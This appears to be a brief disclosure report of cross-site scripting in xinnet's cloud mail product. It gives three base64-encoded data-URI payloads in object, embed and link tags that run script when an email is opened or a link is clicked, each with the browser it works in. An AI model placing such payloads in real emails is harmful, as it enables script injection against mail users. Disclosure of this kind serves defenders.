XSS of xinnet cloud mail storage

Cloud mail is the second generation of enterprise mail system independently developed by xinnet Internet. While having the first generation of enterprise mail with "Domain Name mailbox" as its core features and series of functions, integrates unified communication concepts and technologies, and integrates multiple communication methods, such as email, SMS, fax, voice, video, and instant messaging, to support the use of PCs, mobile phones, and other terminal devices, the enterprise mail service has entered a new era.
Base64-encoded XSS in the mail body
1. Code: <object data = "data: text/html; base64, PHNjcmlwdD5hbGVydCgnSGVsbG8hJyk8L3NjcmlwdD4 ="> </object> FF: access email triggering 2. Code: <embed src = "data: text/html; base64, PHNjcmlwdD5hbGVydCgxKTwvc2NyaXB0Pg ="> Chrome: mail access trigger 3. Code: @ XSSVector <a href = "data: application/x-x509-user-cert; base64, PHNjcmlwdD5hbGVydCgxKTwvc2NyaXB0Pg = "> click </a> Chrome: click the link to trigger the script
 Solution:

Filter :)